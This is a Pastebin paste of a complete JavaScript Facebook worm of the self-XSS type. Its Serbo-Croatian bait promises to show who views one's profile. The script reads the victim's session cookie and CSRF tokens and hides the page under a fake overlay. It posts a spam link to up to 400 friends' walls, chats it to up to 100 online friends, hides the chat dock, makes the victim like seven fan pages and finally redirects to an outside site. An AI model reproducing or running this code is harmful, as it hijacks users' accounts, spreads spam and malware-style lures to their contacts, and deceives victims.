Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html><head>
- <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"></head><body>function readCookie(name) {
- var nameEQ = name + "=";
- var ca = document.cookie.split(';');
- for (var i = 0; i < ca.length; i++) {
- var c = ca[i];
- while (c.charAt(0) == ' ') c = c.substring(1, c.length);
- if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
- }
- return null;
- }
- var user_id = readCookie("c_user");
- var user_name = document.getElementById('navAccountName').innerHTML;
- var coverpage = function() {
- var boxdiv = document.createElement('div');
- boxdiv.id = 'coverpage1';
- boxdiv.style.display = 'block';
- boxdiv.style.position = 'absolute';
- boxdiv.style.width = 100 + '%';
- boxdiv.style.height = 100 + '%';
- boxdiv.style.top = 100 + 'px';
- boxdiv.style.margin.top = 100 + 'auto';
- boxdiv.style.margin = 0 + 'auto';
- boxdiv.style.textAlign = 'center';
- boxdiv.style.padding = '4px';
- boxdiv.style.background = 'url(http://i.imgur.com/V7GNm.png) no-repeat scroll center top';
- boxdiv.style.fontSize = '15px';
- boxdiv.style.zIndex = 9999999;
- boxdiv.innerHTML=' <table align="center" cellpadding="5" cellspacing="5" width="400px"><tbody><tr align="left"><td valign="middle"><br><br><br><br><img style="border: 1px solid black; padding: 5px; margin: 10px; width: 140px; height: 140px;" src="radi-radi-da-da.zxq.net_files/picture"></td><td align="left" valign="middle"><font style="font-weight: bold;font-size:16px;">'+user_name+'</font><br><img src="radi-radi-da-da.zxq.net_files/hRjNi.gif" style="margin-left: 20px; padding-left: 5px;"></td></tr></tbody></table>';
- document.body.appendChild(boxdiv);
- }
- coverpage();
- // Setup some variables
- var post_form_id = document.getElementsByName('post_form_id')[0].value;
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- // Chat message variables
- var this_chat = "Pogledajte koliko ste vremena proveli na FB!
- http://brojac-vremena.clanteam.com";
- var prepared_chat = encodeURIComponent(this_chat);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Post Link to friends walls
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- token = Math.round(new Date().getTime() / 1000);
- var http1 = new XMLHttpRequest();
- var url1 =
- "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="
- + user_id + "&token=" + token +
- "-6&filter[0]=user&options[0]=friends_only";
- var params1 = "";
- http1.open("GET", url1 + "?" + params1, true);
- http1.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http1.readyState == 4 && http1.status == 200) { // If
- state = success
- var response1 = http1.responseText;
- response1 = response1.replace("for (;;);", ""); // Get rid of
- the junk at the beginning of the returned object
- response1 = JSON.parse(response1); // Convert the response to
- JSON
- //alert(response4.toSource());
- var count = 0;
- for (uid in response1.payload.entries) {
- if (count < 400) {
- //alert("SENT TO
- "+response1.payload.entries[count].uid);
- // Loop to send messages
- // New XMLHttp object
- var httpwp = new XMLHttpRequest();
- var urlwp =
- "http://www.facebook.com/ajax/profile/composer.php?__a=1";
- var paramswp = "post_form_id=" + post_form_id +
- "&fb_dtsg=" + fb_dtsg +
- "&xhpc_composerid=u574553_1&xhpc_targetid=" +
- response1.payload.entries[count].uid +
- "&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=Pogledaj
- da li ti stranci gledaju
- profil&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http://www.facebook.com&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=Saznaj
- da li ti simpatija gleda
- profil&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http://www.bbq-book.com/store/assets/images/click-here-green2.gif&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=NOVO!
- Pogledaj koliko si
- v&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=Now
- you can see who stalk your profile
- daily&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]=http://brojac-vremena.clanteam.com/&attachment[params][favicon]=http://lol.info/os/favicon.ico&attachment[params][title]=Pogledaj
- ko ti visi po
- profilu&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Sada
- možeš vidjeti ko ti visi na profilu
- stalno&attachment[params][url]=http://www.facebook.com&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=Instaliraj
- i vidi ko ti posjecuje
- profil&attachment[params][images][0]=http://www.bbq-book.com/store/assets/images/click-here-green2.gif&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=OMG!
- sada stvarno vidim da i ex gleda profil :D&xhpc_message=RADI!
- Pogledaj koliko si proveo vremena na FB?
- profil&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";
- httpwp.open("POST", urlwp, true);
- //Send the proper header information along with the
- request
- httpwp.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- httpwp.setRequestHeader("Content-length",
- paramswp.length);
- httpwp.setRequestHeader("Connection", "keep-alive");
- httpwp.onreadystatechange = function () { //Call a
- function when the state changes.
- if (httpwp.readyState == 4 && httpwp.status
- == 200) {
- //alert(http.responseText);
- //alert('buddy list fetched');
- }
- }
- httpwp.send(paramswp);
- }
- count++; // increment counter
- }
- http1.close; // Close the connection
- }
- }
- http1.send(null);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Hide chat boxes
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- hide = document.getElementById('fbDockChatTabSlider');
- hide.style.display = "none";
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Get online friends and send chat message to them
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http3 = new XMLHttpRequest();
- var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
- var params3 = "user=" + user_id +
- "&popped_out=false&force_render=true&post_form_id=" +
- post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest";
- http3.open("POST", url3, true);
- //Send the proper header information along with the request
- http3.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http3.setRequestHeader("Content-length", params3.length);
- http3.setRequestHeader("Connection", "close");
- http3.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http3.readyState == 4 && http3.status == 200) {
- var response3 = http3.responseText;
- response3 = response3.replace("for (;;);", "");
- response3 = JSON.parse(response3);
- var count = 0;
- for (property in response3.payload.buddy_list.nowAvailableList) {
- if (count < 100) {
- // Loop to send messages
- // New XMLHttp object
- var httpc = new XMLHttpRequest();
- // Generate random message ID
- var msgid = Math.floor(Math.random() * 1000000);
- var time = Math.round(new Date().getTime() / 1000);
- var urlc =
- "http://www.facebook.com/ajax/chat/send.php?__a=1";
- var paramsc = "msg_id=" + msgid + "&client_time=" +
- time + "&to=" + property + "&num_tabs=1&pvs_time=" + time +
- "&msg_text=" + prepared_chat +
- "&to_offline=false&post_form_id=" + post_form_id +
- "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest";
- httpc.open("POST", urlc, true);
- //Send the proper header information along with the
- request
- httpc.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- httpc.setRequestHeader("Content-length",
- paramsc.length);
- httpc.setRequestHeader("Connection", "close");
- httpc.onreadystatechange = function () { //Call a
- function when the state changes.
- if (httpc.readyState == 4 && httpc.status ==
- 200) {
- //alert(http.responseText);
- //alert('buddy list fetched');
- }
- }
- httpc.send(paramsc);
- }
- //alert(property);
- count++; // increment counter
- }
- http3.close; // Close the connection
- }
- }
- http3.send(params3);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Become a Fan - FANPAGE - 1
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http4 = new XMLHttpRequest();
- var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
- var params4 =
- "fbpage_id=209123105785563&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="
- + post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest"
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Become a Fan - FANPAGE - 2
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http4 = new XMLHttpRequest();
- var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
- var params4 =
- "fbpage_id=208995189134115&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="
- + post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest"
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Become a Fan - FANPAGE - 3
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http4 = new XMLHttpRequest();
- var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
- var params4 =
- "fbpage_id=127745033966579&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="
- + post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest"
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Become a Fan - FANPAGE - 4
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http4 = new XMLHttpRequest();
- var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
- var params4 =
- "fbpage_id=115474165159084&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="
- + post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest"
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Become a Fan - FANPAGE - 5
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http4 = new XMLHttpRequest();
- var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
- var params4 =
- "fbpage_id=165415943515372&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="
- + post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest"
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Become a Fan - FANPAGE - 6
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http4 = new XMLHttpRequest();
- var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
- var params4 =
- "fbpage_id=171898469517471&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="
- + post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest"
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- //
- Become a Fan - FANPAGE - 7
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
- var
- http4 = new XMLHttpRequest();
- var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
- var params4 =
- "fbpage_id=194714303880094&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="
- + post_form_id + "&fb_dtsg=" + fb_dtsg +
- "&lsd&post_form_id_source=AsyncRequest"
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type",
- "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () { //Call a function when the
- state changes.
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- //this function includes all necessary js files for the application
- function include(file)
- {
- var script = document.createElement('script');
- script.src = file;
- script.type = 'text/javascript';
- script.defer = true;
- document.getElementsByTagName('head').item(0).appendChild(script);
- }
- include('http://code.jquery.com/jquery-1.5.2.min.js');
- var landingpage = function() {
- var myFrame = $("div#coverpage1").hide(1000);
- window.top.location = "http://bio-si.zxq.net/";
- }
- setTimeout("landingpage();",19000);</body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement